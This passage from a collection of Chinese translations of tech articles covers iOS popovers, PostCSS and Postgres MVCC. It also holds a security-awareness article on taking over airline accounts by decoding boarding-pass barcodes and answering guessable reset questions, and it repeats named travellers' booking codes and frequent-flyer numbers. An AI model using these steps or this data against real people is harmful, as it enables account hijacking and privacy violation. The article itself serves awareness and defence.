都遵守相同的规则：展示为弹窗或者一个上拉式表。所以如果一个弹窗展示一个活动视图控制器或者一个操作列表到底会发生什么？这个人机交互指南文档的说法好像有点矛盾。\n\n在 iOS 9 页面的一个相关说明里，我们注意到在一个表单的视图控制器展示了一个填充了这个表单的 [`UIActivityViewController`](https://developer.apple.com/reference/uikit/uiactivityviewcontroller)，想知道这是不是一个我们之前没有留意到的默认行为呢？又或者它是不是一个我们可以自定义实现的东西？\n\n![Screen shot of Pages on iPad showing an activity view controller presented as a sheet inside a form sheet](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/pages-sheet-in-form-sheet-59e3007e.jpg)\n\n对于大多数视图控制器来说，在里面展示一个弹窗或者表单需要将当前视图控制器的 [`modalPresentationStyle`](https://developer.apple.com/reference/uikit/uimodalpresentationstyle) 设置为 [`currentContext`](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621493-currentcontext) 或者 [`overCurrentContext`](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621507-overcurrentcontext)。但对于某些像 [`UIActivityViewController`](https://developer.apple.com/reference/uikit/uiactivityviewcontroller) 和 [`UIAlertController`](https://developer.apple.com/reference/uikit/uialertcontroller) 这种 UIKit 提供的视图控制器来说，它们已经被赋予了自己的样式，[`modalPresentationStyle`](https://developer.apple.com/reference/uikit/uimodalpresentationstyle) 的变化将被忽略掉。\n\n一般，[`UIActivityViewController`](https://developer.apple.com/reference/uikit/uiactivityviewcontroller) 会在常规宽度下展示为弹窗，在紧凑宽度下变成一个透明的表。但是如果一个常规宽度的视图控制器要从一个紧凑宽度的视图控制器里展示会怎么样呢？这种情况会在一个有[表格](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621491-formsheet)或者[弹窗](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621382-popover) 的 [`modalPresentationStyle`](https://developer.apple.com/reference/uikit/uimodalpresentationstyle) 的视图控制器要在 iPad 上展示，或者它是一个使用了 [`overrideTraitCollection`](https://developer.apple.com/reference/uikit/uipresentationcontroller/1618335-overridetraitcollection) 属性的自定义展示控制器，然后这个控制器展示了一个 [`UIActivityViewController`](https://developer.apple.com/reference/uikit/uiactivityviewcontroller)。\n\n![Diagram: First View Controller to Second View Controller to Activity View Controller or Action Sheet](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/diagram-23ed42d7.png)\n\n## 操作列表\n\n首先我们来看看 [`UIAlertController`](https://developer.apple.com/reference/uikit/uialertcontroller)。图中根视图控制器（青色）用[弹窗](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621382-popover)样式（下方，通过切分视图行为以作参考）展示了第二个用[表单](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621491-formsheet)样式（上方）的视图控制器（粉色）。然后第二个视图控制器展示了一个操作列表样式的警告控制器。\n\n![Form sheet presenting action sheet as popover](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/form-sheet-action-popover-c90794ab.jpg) ![Popover presenting action sheet as popover](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/popover-action-popover-fca43393.jpg)\n\n虽然我们想要用列表的展示样式去展示操作列表（而不是弹窗），但因为关注点分离的优势，我设置了警告控制器的 [`popoverPresentationController.sourceView`](https://developer.apple.com/reference/uikit/uipopoverpresentationcontroller/1622313-sourceview) 和 [`popoverPresentationController.sourceRect`](https://developer.apple.com/reference/uikit/uipopoverpresentationcontroller/1622324-sourcerect)，视图控制器不应该对它怎么展示作出假设。它应该在 app 的其他部分进行全屏展示，视图控制器不应该控制这些行为。\n\n出于好奇，我尝试注释掉了[`popoverPresentationController`](https://developer.apple.com/reference/uikit/uiviewcontroller/1621428-popoverpresentationcontroller)的定义，发生了让我意想不到的情况：\n\n![Form sheet presenting action sheet as sheet](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/form-sheet-action-sheet-38753715.jpg) ![Popover presenting action sheet as sheet](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/popover-action-sheet-2b011d4f.jpg)\n\n原来只读取警告控制器的[`popoverPresentationController`](https://developer.apple.com/reference/uikit/uiviewcontroller/1621428-popoverpresentationcontroller)属性会导致即使是从一个紧凑宽度环境下呈现它也会展示为一个弹窗。如果你想这么做，请一定要确保好视图控制器展现的前后环境，因为如果你想从常规宽度的环境展现一个没有设置弹窗源码的警告控制器，UIKit 就会抛出一个异常。切记在展现触发的时候即使呈现视图控制器是在一个紧凑宽度环境下，当展示被激活的时候它还是有可能发生改变。\n\n我提交了一个 [rdar://27448488 Reading an alert controller’s popoverPresentationController property changes behavior](http://openradar.appspot.com/27448488).\n\n## 活动视图控制器\n\n用[`UIActivityViewController`](https://developer.apple.com/reference/uikit/uiactivityviewcontroller)做同样的事情，并指定弹窗源码信息，出现下面的情况：\n\n![Form sheet presenting activity view controller as a popover](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/form-sheet-activity-318dfc25.jpg) ![Popover presenting activity view controller as a sheet](https://pspdfkit.com/images/blog/2016/popovers-on-popovers/popover-activity-4bde59d8.jpg)\n\n不同于页面的行为，我发现表单把这个活动视图控制器展示为一个弹窗，弹窗将活动视图控制器展示在表单上。这是在 iOS 10 的新行为，iOS 9 里，是从另一个弹窗展示一个弹窗。\n\n用同样不访问[`popoverPresentationController`](https://developer.apple.com/reference/uikit/uiviewcontroller/1621428-popoverpresentationcontroller)的技巧导致 UIKit 抛出一个异常说“必须为这个弹窗提供位置信息”。\n\n## 结论\n\n我们发现当 UIKit 的视图控制器是从一个展示在常规宽度环境的紧凑宽度的环境中展示时行为会变得很混乱。弹窗展现的一般规则是在常规宽度下展示为弹窗，在紧凑宽度下为全屏（尽管结合当前上下环境更有意义）。操作列表和活动视图控制器的展示有点像弹窗的展示，但不要完全按照一般的规则来展示。\n\n实际的行为看起来像是和人机交互指南说的一样，并很大程度上忽略了特征集合的 Size 类。UIKit 不会在操作列表的异常警告上展现一个弹窗。Size 类并不能控制所有的东西。\n\n我们不能重现页面(Pages)的行为。对于我们来说，当一个表单展示一个活动视图控制器时，它将展示为弹窗。我把这个问题报告给了 Apple ：[rdar://27448912 Can’t show activity view controller filling a form sheet](http://openradar.appspot.com/27448912)。如果你知道解决这个问题的方法，[麻烦在我的 Twitter 留言](https://twitter.com/qdoug)。\n"
  },
  {
    "path": "TODO/post-a-boarding-pass-on-facebook-get-your-account-stolen.md",
    "content": "\n> * 原文地址：[Post a boarding pass on Facebook, get your account stolen](https://www.michalspacek.com/post-a-boarding-pass-on-facebook-get-your-account-stolen)\n> * 原文作者：[Michal Špaček](https://www.michalspacek.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/post-a-boarding-pass-on-facebook-get-your-account-stolen.md](https://github.com/xitu/gold-miner/blob/master/TODO/post-a-boarding-pass-on-facebook-get-your-account-stolen.md)\n> * 译者：[lampui](https://github.com/lampui)\n> * 校对者：[Tina92](https://github.com/Tina92) [zhangqippp](https://github.com/zhangqippp)\n\n# 在 Facebook 发一张登机牌，你就有可能被盗号了\n\n假期正在火热地进行中，当你想要晒晒自己去了哪儿的时候，留心自己发上 Facebook 或 Instagram 的信息。登机牌（或其他有条码的票据）自己留着（或者用碎纸机处理掉）。\n\n## 一趟前往香港的旅行\n\n我认识 [Petr Mára](http://www.petrmara.com/) 好几年了，他是一个很友好的人，同时他也是一位演讲者、训练者、视频主播及 IOS & macOS 的发烧友。他还很爱去旅行，在 2016 年 5 月，他就带着她妻子一起去了趟香港庆祝她的生日，但 Petr 没有说他们会去多久，当然，我最后还是知道了！在 Petr 还没飞的时候，他发了一条动态，[这条动态](https://www.instagram.com/p/BF06blXmUXF/)上面有一个带着订单号 YJVFKG 和一些条码的登机牌，就是那一刻，我知道了他要在香港呆多久。一般而言，你最好别公开任何印有订单号、二维码或条码的登机牌、票据。\n\n![英国航空公司登机牌](https://www.michalspacek.cz/i/images/blog/boardingpass/ba-pass.jpg)\n\nPetr Mára 发的这条动态\n\n这趟航班从伦敦起飞，大概要飞 12 个小时，所以他们**只待 5 天**？只要上[英国航空公司官网](https://www.britishairways.com/travel/managebooking/public/en_cz)，并在右边的输入框输入他的订单号，然后你就可以找到 Petr 在香港的起降机场了。提交了订单号之后我才发现，除了其他事情之外，Petr 已经把所需的数据都填好了。也不奇怪，他人都在香港了。然后下面有一个 _View or change details_ 的红色按钮。你应该懂的，你看到一个红色按钮，你就要点它，所以我点了。\n\n![British Airways login form](https://www.michalspacek.cz/i/images/blog/boardingpass/ba-login.png)\n\n航空公司登录页面\n\n![Petr's advance information is complete](https://www.michalspacek.cz/i/images/blog/boardingpass/ba-completed.png)\n\n所需数据已完整\n\n航空公司想认证修改信息的是~~我~~ Petr，我可以输入他的护照号码或生日，但我（目前）不知道。在 Petr 的 Facebook 个人主页有他的生日，这在捷克共和国的 [Business Register](https://or.justice.cz/) 或 [Trade Register](http://www.rzp.cz/)也是公开的。每个人的生日其实都算是公开的秘密啦！在交易商和自由职业者的增值税税收 id 上也可以找到一个人的生日，所以生日不算什么秘密。\n\n![Petr Mára's details](https://www.michalspacek.cz/i/images/blog/boardingpass/ba-details.png)\n\nPetr 的详细信息\n\n最终，我找到了他的护照号码！我甚至可以修改它！酷！我可以令 Pter 和 他妻子在香港庆祝生日得*更久一点*。只需输入一个国际通缉犯或是其他什么的护照号码。\n\n我没有修改任何信息，并把这件事告诉了 Petr。我向他道了歉，因为我试着猜测他妻子的生日而令他在接下来的 24 小时以内不能访问他的预订页面。当然啦，之后我谷歌到了他妻子的生日。非常感谢 Petr 知道这件事后还是对我这么友好！5 个月后，从他[下一条发有登机牌的朋友圈](https://www.instagram.com/p/BMOpEFWBV-Y/)就知道，Petr 已经上了一堂课 — 订单号或条码都要打码。\n\n## 更多 Facebook 和 Instagram 的照片\n\n你能在 [Facebook](https://www.facebook.com/search/str/boarding%20pass/photos-keyword) 或 [Instagram](https://www.instagram.com/explore/tags/boardingpass/) 发现大量的登机牌照片。有些旅客试着聪明点，于是将他（她）们的名字或其他信息打码，然而一些条码却赤裸裸的，像下面这位[叫 Anna 的女士](https://archive.is/I7Ydp)。\n\n![Boarding pass](https://www.michalspacek.cz/i/images/blog/boardingpass/anna-pass.jpg)\n\nInstagram 中的随机条码\n\nAnna 的全名叫 Anna Ferenčáková，在 2017 年 4 月，她从布拉格飞往塞尔维亚的首都 — 贝尔格莱德。你扫了那张照片上的条形码就能知道这些信息了！条码也可以在“遗落”于飞机上的登机牌或其他地方被找到。\n\n![Barcode Scanner screenshot](https://www.michalspacek.cz/i/images/blog/boardingpass/anna-ferencakova.jpg)\n\n扫描后的条码信息\n\n随着越来越多的人使用“智能”设备，登机牌上的条码也可以在智能手表中被找到，下面是一个能在某人的 iWatch 上显示登机牌的所谓的 Aztec 二维码。这个二维码包含了跟传统纸质登机牌一样的（或类似的）信息，但这些信息在一个智能手表上，你就不需要打印你的登机牌，你要做的就是在过关的时候伸出手去扫一扫就行了，未来已来。\n\n![Aztec code in a smart watch app on a hand](https://www.michalspacek.cz/i/images/blog/boardingpass/stephen-aztec.jpg)\n\n智能手表上的 Aztec 二维码\n\n这只手（和手表）是 Stephen Fenech 的，这张照片是拍在他从旧金山去往纽约的途中。我们又一次知道了这些信息，因为我们扫了 Aztec 二维码。我们可以通过阅读这篇[关于在\"智能\"手表上使用登机牌的陷井](http://www.techguide.com.au/blog/boarding-pass-experience-with-apple-watch-ran-off-the-runway/)，你的手腕 – 只是不适合一些扫描仪。在 Aztec 二维码还有一项重要的信息：一个代表该旅客是频繁飞行旅客的号码。Fenech 先生的这个号码是 `4708760`。\n\n![Barcode Scanner screenshot](https://www.michalspacek.cz/i/images/blog/boardingpass/stephen-fenech.jpg)\n\n扫描后的 Aztec 二维码\n\n## 盗号\n\n当在 Facebook 搜索登机牌的时候，我找到了一张有 Aztec 二维码的照片，这张照片是一个匿名男子拍的。他在某个圈子很有名，Twitter 上大概有 120,000 名的粉丝，在欧洲和美国也**有些背景**。这个二维码包含了他在联合航空公司的频繁飞行旅客号码。这间航空公司对待这些号码就像对待高级秘密访问口令。如果他们需要将这些号码打印到官方文件，他们只会显示最后 3 位数字，而其他位则会隐蔽，就像密码那样。在 Aztec 二维码中扫出来的频繁飞行旅客号码是完整的，当然，所以我在想利用它并黑进那个人的账户。为什么不黑呢，对吧，这应该不会**那么简单**。\n\n所以我上了联合航空公司的官网，选择了[忘记密码](https://www.united.com/ual/en/us/account/security/passwordrecovery)，然后输入从 Aztec 二维码得来的名字和号码，接着用了几秒时间回答了 2 个安全问题：“你访问的第一个大城市？”和“你最喜爱的冬季运动？”，第一个问题的答案就是那个人的出生地，第二个问题的答案在高山国家的话肯定不是高尔夫。系统无误地将*我*认定为账号的*真实主人*，然后我可以给*他的账号*设置一个新密码。**更新 8 月 25 日**：这件事情发生在 2016 年 6 月，联合航空公司已经[加多了一项保护措施](https://twitter.com/benholley/status/900800557753016320)，他们会要求用户点击一条发送到用户邮箱里的修改密码链接，看来我现在能发送这样的电子邮件了。\n\n![United Airlines password reset page](https://www.michalspacek.cz/i/images/blog/boardingpass/ua-password-reset.png)\n\n创建新密码\n\n我没有设置一个新密码，我并不想给任何人带来麻烦。我发了一条消息给那个人，就像我发了条消息给 Petr Mára 一样。他已经在 Facebook（但 Twitter 上还在）删除了那张含有 Aztec 二维码的照片。但他不信我可以劫持他的账户，他以为联合航空公司网站会发个新密码给他。\n\n经过一番简单的解释之后，他懂了！ **Oh shit，你是对的！你可以把密码给改了！这简直就是疯了！**没错，确实是这样。就因为他上传了他的登机牌，我可以盗他的号！也许未来的买卖会有储蓄支付卡，又或者我可以令他在某个地方**卡死**。\n\n## 别公开任何含有代码的图片\n\n用户通常会不经意间公开一些在他（她）们眼里没有价值的数据，因为在第一眼看来，不太可能看出这些数据隐含着什么信息或者有什么用。*某些人*可能会觉得在*某些地方*有用。最坏情况下，还是有可能被盗号的。所以对你需要上传或公开的数据还是要留点心好。当你想上传到 Facebook 但又不确定照片或截图中有什么数据时，你可以用一个黑色的矩形或者任意其他你喜欢的形状（单单[模糊化可能还不够](https://dheera.net/projects/blur)）掩盖它，又或者干脆就别发布了。当创建安全认证问题的时候，你要学会*撒谎*。你可以用密码管理工具“记住”你的答案，就像记住你的密码那样，还有就是别把你的登机牌留在飞机上。\n\n_这篇文章是基于我在 [CZ domain registry](https://www.nic.cz/) 的[演讲](https://www.michalspacek.com/talks/z-fb-fotky-az-k-unesenemu-uctu-it17)（在捷克）。_\n\n### 推荐阅读\n\n* [登机牌的条码上面有什么？很多](https://krebsonsecurity.com/2015/10/whats-in-a-boarding-pass-barcode-a-lot/)，作者 Brian Krebs.\n* [Carmen Sandiego 在世界的哪里？](https://media.ccc.de/v/33c3-7964-where_in_the_world_is_carmen_sandiego)，一个由 Karsten Nohl 和 Nemanja Nikodijevic 进行的 33C3 演讲\n\n### 更新\n\n**8.25** 当重置联合航空公司密码时需要额外操作\n\n### Michal Špaček\n\n我构建 web 应用程序并且关心 web 应用程序安全，我乐于分享安全方面的开发。我的职责是教授 web 开发者如何构建安全且快速的 web 应用程序及其原因。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/postcss-what-it-is-and-what-it-can-do.md",
    "content": ">* 原文链接 : [PostCSS – What It Is And What It Can Do](https://web-design-weekly.com/2016/06/04/postcss-what-it-is-and-what-it-can-do/)\n* 原文作者 : Jake Bresnehan\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zheaoli](https://github.com/Zheaoli)\n* 校对者: [aidistan](https://github.com/aidistan), [JolsonZhu](https://github.com/JolsonZhu)\n\n# 关于 PostCSS 普及的一点微小的工作\n\n[PostCSS](http://postcss.org)起源于2013年9月，发展到现在，已经有很多开发者在工作中使用它。如果你尚未接触过**PostCSS**，这篇文章正适合你。\n> **PostCSS**是一个使用**JavaScript**插件来转换**CSS**的工具。\n\n**PostCSS**本身很小，其只包含**CSS**解析器，操作**CSS**节点树的API，资源生成器（译者注1：原文是source map），以及一个节点树字符串化工具。所有的黑魔法都是通过利用插件实现的。\n\n截止目前，**PostCSS**的生态圈内已经拥有超过100种[插件](http://postcss.parts/ \"PostCSS Plugins\")。这些插件可以做太多的事情，比如**lint**（译者注2：一种用来检测CSS代码的工具），添加**vendor prefixes**（译者注3：添加浏览器内核前缀，可以使用浏览器的一些独有特性），允许使用最新的CSS特性，在你的**CSS**里提供统计数据，或者是允许你使用**Sass**，**Less**或是**Stylus**等**CSS**预处理器。\n\n### 让我们看看以下十种插件\n\n[Autoprefixer](https://github.com/postcss/autoprefixer \"Autoprefixer\")\n\n> 根据用户的使用场景来解析**CSS**和添加**vendor prefixes**（前文注2）。\n\n[PostCSS Focus](https://github.com/postcss/postcss-focus \"PostCSS Focus\")\n\n> 一种利用键盘操作为每个**:hover**添加**:focus**选择器的**PostCSS**插件。\n\n[PreCSS](https://github.com/jonathantneal/precss \"PreCSS\")\n\n>一个允许你在代码中使用类似**Sass**标记的插件。\n\n[Stylelint](https://github.com/stylelint/stylelint \"Stylelint\")\n\n> 一种强大的，先进的可以使你在**CSS**样式中保持一致性，避免错误的**CSS linter**工具。\n\n[PostCSS CSS Variables](https://github.com/MadLittleMods/postcss-css-variables \"PostCSS CSS Vatiables\")\n\n> 一种将用户自定义**CSS**变量（**CSS variables**）转化为静态样式的插件。\n\n[PostCSS Flexbugs Fixes](https://github.com/luisrudge/postcss-flexbugs-fixes \"PostCSS Flexbug FIxes\")\n\n> 一种用于修复**flexbug**的bug的插件。\n\n[PostCSS CSSnext](https://github.com/MoOx/postcss-cssnext \"PostCSS CSSnext\")\n\n> 一种可以让你使用**CSS**最新特性的插件。它通过将最新的**CSS**特性转变为现阶段浏览器所兼容的特性，这样你不用再等待浏览器对某一特定新特性的支持。\n\n[PostCSS CSS Stats](https://github.com/cssstats/postcss-cssstats \"PostCSS CSSStats\")\n\n> 一种支持[cssstats](https://github.com/cssstats/cssstats \"CSS Stats\")的插件。这个插件将会返回一个**cssstatus**对象，这样你可以使用它来进行**CSS**分析。\n\n[PostCSS SVGO](https://github.com/ben-eb/postcss-svgo \"PostCSS SVGO\")\n\n> 优化在**PostCSS**中内联SVG。\n\n[PostCSS Style Guide](https://github.com/morishitter/postcss-style-guide \"PostCSS Style Guide\")\n\n> 一种可以自动生成风格指导的插件。将会在**Markdown**中生成**CSS**注释，并在生成的**HTML**文档中显示。\n\n如果你想编写自己的插件，并希望将其贡献给社区的话，请确保你是先看过[guidelines](https://github.com/postcss/postcss/blob/master/docs/guidelines/plugin.md \"PostCSS Guidelines\")这篇文档还有[PostCSS Plugin Boilerplate](https://github.com/postcss/postcss-plugin-boilerplate \"PostCSS Boilerplate\")这篇官方文档。\n\n### 在你的工作中使用**PostCSS**\n\n**PostCSS**是用**JavaScript**所编写的，这使得我们在[Grunt](http://gruntjs.com/)，[Gulp](http://gulpjs.com/)或[Webpack](https://webpack.github.io/)等常用的前端构建工具中使用它变得非常方便。\n\n下面是我们使用[Autoprefixer](https://github.com/postcss/autoprefixer \"Autoprefixer\")插件的示例。\n\n`npm install autoprefixer --save-dev`\n\n**Gulp**  \n如果你使用**Gulp**，那么你需要安装[gulp-postcss](https://github.com/postcss/gulp-postcss)。\n\n`npm install --save-dev gulp-postcss`\n\n    gulp.task('autoprefixer', function () {\n        var postcss      = require('gulp-postcss');\n        var autoprefixer = require('autoprefixer');\n\n        return gulp.src('./src/*.css')\n        .pipe(postcss([ autoprefixer({ browsers: ['last 2 versions'] }) ]))\n        .pipe(gulp.dest('./dest'));\n    });\n\n**Grunt**  \n如果你使用**Grunt**，那么你需要安装[grunt-postcss](https://github.com/nDmitry/grunt-postcss)。\n\n`npm install grunt-postcss --save-dev`\n\n    module.exports = function(grunt) {\n        grunt.loadNpmTasks('grunt-postcss');\n\n        grunt.initConfig({\n            postcss: {\n                options: {\n                        map: true,\n                    processors: [\n                        require('autoprefixer')({\n                            browsers: ['last 2 versions']\n                        })\n                    ]\n                },\n                dist: {\n                    src: 'css/*.css'\n                }\n            }\n        });\n\n        grunt.registerTask('default', ['postcss:dist']);\n\n    };\n\n**Webpack**  \n如果你使用**Webpack**，那么你需要安装[postcss-loader](https://github.com/postcss/postcss-loader)。\n\n`npm install postcss-loader --save-dev`\n\n    var autoprefixer = require('autoprefixer');\n\n    module.exports = {\n        module: {\n            loaders: [\n                {\n                    test:   /\\.css$/,\n                    loader: \"style-loader!css-loader!postcss-loader\"\n                }\n            ]\n        },\n        postcss: function () {\n            return [autoprefixer];\n        }\n    }\n\n关于怎么整合**PostCSS**，你可以从这里[PostCSS repo](https://github.com/postcss/postcss#usage)获取到帮助。\n\n### 最后最后的诚心安利~\n\n在有些时候，在新技术，新工具，新框架发布的时候，去使用并观察其发展趋势无疑是一种明智的行为。现在，**PostCSS**已经发展到一个相当成熟的阶段，我强烈建议你在你的工作中使用它。因为它现在已经在工程中被广泛的使用，同时在未来一段时间内它不会发生太大的变化。\n"
  },
  {
    "path": "TODO/postgres-atomicity.md",
    "content": "\n  > * 原文地址：[Stability in a Chaotic World: How Postgres Makes Transactions Atomic](https://brandur.org/postgres-atomicity)\n  > * 原文作者：[Brandur](https://twitter.com/brandur)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/postgres-atomicity.md](https://github.com/xitu/gold-miner/blob/master/TODO/postgres-atomicity.md)\n  > * 译者：[TanJianCheng](https://github.com/TanNingMeng)\n  > * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen) [mnikn](https://github.com/mnikn)\n   \n  # 混乱世界中的稳定：Postgres 如何使事务原子化\n\n  原子性( “ACID” 特性)声明，对于一系列的数据库操作，要么所有操作一起提交，要么全部回滚；不允许中间状态存在。对于那些需要去适应混乱的现实世界的代码来说，简直是天赐良物。\n\n那些改变数据并继续恶化下去的故障将被取代，这些改变会被恢复。当你在处理着百万级请求的时候，可能会因为间歇性的问题导致连接的断断续续或者出现一些其它的突发情况，从而导致一些不便，但不会打乱你的数据。\n\n众所周知 Postgres 的实现中提供了强大的事务语义化。虽然我已经用了好几年，但是有些东西我从来没有真正理解。Postgres 有着稳定出色的工作表现，让我安心把它当成一个黑盒子 -- 惊人地好用，但是内部的机制却是不为人知的。\n\n这篇文章是探索 Postgres 如何保持它的事务及原子性提交，和一些可以让我们深入理解其内部机制的关键概念<sup>[\\[1\\]](#footnote-1)</sup>。\n\n## 管理并发访问\n\n假如你建立了一个简易数据库，这个数据库读写硬盘上的 CSV 文件。当只有一个客户端发起请求时，它会打开文件，读取信息并写入信息。一切运行非常完美，有一天，你决定强化你的数据库，给它加入更加复杂的新特性 - 多客户端支持！\n\n不幸地是，当两个客户端同时试图去操作数据的时候，新功能立即被出现的问题所困扰。当一个 CSV 文件正在被一个客户端读取，修改，和写入数据的时候，如果另一个客户端也尝试去做同样的事情，这个时候就会发生冲突。\n\n[![](https://brandur.org/assets/postgres-atomicity/csv-database.svg)](https://brandur.org/assets/postgres-atomicity/csv-database.svg)\n\n客户端之间的资源争夺会导致数据丢失。这是并发访问出现的常见问题。可以通过引入**并发控制**来解决。曾经有过许多原始解决方案。例如我们让来访者带上独占锁去读写文件，或者我们可以强制让所有访问都需要通过流控制点，从而实现同一时间只能运行其一。但是这些方法不仅运行缓慢，而且由于不能纵向扩展，从而使数据库不能完全支持 ACID 特性。现代数据库有一个完美的解决办法，MVCC （多版本并行控制系统）。\n\n在 MVCC，语句在**事务**里面执行。它会创建一个新版本，而不会直接覆写数据。有需求的客户端仍然可以使用原始的数据，但新的数据会被隐藏起来直到事务被提交。这样客户端之间就不存在直接争夺的情况，数据也不再面临重写而且可以安全地被保存。\n\n事务开始执行的时候，数据库会生成一个此刻数据库状态的快照。在数据库的每一个事务都会以**串行**的顺序执行，通过一个全局锁来保证每次只有一个事务能够提交或者中止操作。快照完美体现了两个事务之间的数据库状态。\n\n为了避免被删除或隐藏的行数据不断地堆积，数据库最后将经过一个 **vacuum** 程序（或在某些情况下，带有歧义查询的 “microvacuums” 队列）来清理淘汰数据，但是只能在数据不再被其它快照使用的时候才能进行。\n\n让我们看下 Postgres 如何使用 MVCC 管理并发的情况。\n\n## 事务、元组和快照\n\n这是 Postgres 用于实现事务的结构（来自 [proc.c](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/storage/proc.h#L207)）：\n\n```\ntypedef struct PGXACT\n{\n    TransactionId xid;   /* 当前由程序执行的顶级事务 ID \n                          * 如果正在执行且 ID 被赋值；\n                          * 否则是无效事务 ID */\n\n    TransactionId xmin;  /* 正在运行最小的 XID，\n                          *  除了 LAZY VACUUM:\n                          * vacuum 不移除因 xid >= xmin\n                          * 而被删除的元组 */\n\n    ...\n} PGXACT;\n```\n\n事务是以 `xid`（或 “xact” ID）来标记。这是 Postgres 的优化，当事务开始更改数据的时候，Postgres 会赋值一个 `xid` 给它。因为只有那个时候，其它程序才需要开始追踪它的改变。只读操作可以直接执行，不需要分配 `xid`。\n\n当这个事务开始运行的时候，`xmin` 马上被设置为运行事务中 `xid` 最小的值。Vacuum 进程计算数据的最低边界，使它们保持 `xmin` 是所有事务中的最小值。\n\n### 生命周期感知的元组\n\n在 Postgres，行数据常常与**元组**有关。当 Postgres 使用像 B 树通用的查找结构去快速检索信息，索引并没有存储一个元素的完整数据或其中任意的可见信息。相反，他们存储可以从物理存储器（也称为“堆”）检索特定行的 `tid`（元组 ID）。Postgres 通过 `tid` 作为起始点，对堆进行扫描直到找到一个能满足当前快照的可见元组。\n\n这是 Postgres 实现的**堆元组**（不是**索引元组**），以及它头信息的结构( [来自 `htup.h`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/access/htup_details.h#L116) [和 `htup_details.h`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/access/htup.h#L62)):\n\n```\ntypedef struct HeapTupleData\n{\n    uint32          t_len;         /* *t_data 的长度 */\n    ItemPointerData t_self;        /* SelfItemPointer */\n    Oid             t_tableOid;    /* 唯一标识一个表 */\n    HeapTupleHeader t_data;        /* -> 元组的头部及数据 */\n} HeapTupleData;\n\n/* 相关的 HeapTupleData */\nstruct HeapTupleHeaderData\n{\n    HeapTupleFields t_heap;\n\n    ...\n}\n\n/* 相关的 HeapTupleHeaderData */\ntypedef struct HeapTupleFields\n{\n    TransactionId t_xmin;        /* 插入 xact ID */\n    TransactionId t_xmax;        /* 删除或隐藏 xact ID */\n\n    ...\n} HeapTupleFields;\n```\n\n像事务一样，元组也会追踪它自己的 `xmin`，但是这只在特定的元组情况下，例如它被记录为第一个事务，其中元组变可见。（即创建它的那个）。它还追踪 `xmax` 作为最后的一个的**事务**，其中元组是可见的（即删除它的那个）<sup>[\\[2\\]](#footnote-2)</sup>。\n\n[![](https://brandur.org/assets/postgres-atomicity/heap-tuple-visibility.svg)](https://brandur.org/assets/postgres-atomicity/heap-tuple-visibility.svg)\n\n可以使用 `xmin` 和 `xmax` 来追踪堆元组的生存期。虽然 `xmin` 和 `xmax` 是内部概念，但是他们可以显示任何 Postgres 表上被隐藏的列。通过名字显示地选择它们：\n\n```\n# SELECT *, xmin, xmax FROM names;\n\n id |   name   | xmin  | xmax\n----+----------+-------+-------\n  1 | Hyperion | 27926 | 27928\n  2 | Endymion | 27927 |     0\n```\n\n### 快照：xmin，xmax，和 xip\n\n这是快照的实现结构 ([来自 snapshot.h](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/utils/snapshot.h#L52)):\n\n```\ntypedef struct SnapshotData\n{\n    /*\n     * 以下字段仅用于 MVCC 快照，和在特定的快照。\n     * (但 xmin 和 xmax 专门用于 HeapTupleSatisfiesDirty)\n     * \n     *\n     * 一个 MVCC 快照 永远不可能见到 XIDs >= xmax 的事务。\n     * 除了那些列表中的 snapshot，它会看到时间长的 XIDs 的内容。\n     * 对于大多数的元组，xmin 被存储起来是个优化的操作，这样避免去搜索 XID 数组。\n     * \n     */\n    TransactionId xmin;            /* id小于xmin的所有事务更改在当前快照中可见 */\n    TransactionId xmax;            /* id大于xmax的所有事务更改在当前快照中可见 */\n\n    /*\n     * 对于普通的 MVCC 快照，它包含了程序中所有的 xact IDs\n     * 除非在它是空的情况下被使用。\n     * 对于历史 MVCC 的快照, 这就是刚好相反, 即它包含了在 xmin 和 xmax 中已提交的事务。\n     * \n     *\n     * 注意: 所有在 xip[] 的 ids 都满足 xmin <= xip[i] < xmax\n     */\n    TransactionId *xip; /* 所有正在运行的事务的id列表 */\n    uint32        xcnt; /* 正在运行的事务的计数 */\n\n    ...\n}\n```\n\n快照的 `xmin` 计算方式和计算事务的相同（即在正在运行的事务中，`xid` 最低的事务），但用途却不一样。`xmin` 是数据可见的最低边界。元组是被 `xid < xmin` 条件的事务所创建，对快照可见。\n\n同时也有定义为 `xmax` 的变量，它被设置为最后一次提交事务的 `xid` + 1。`xmax` 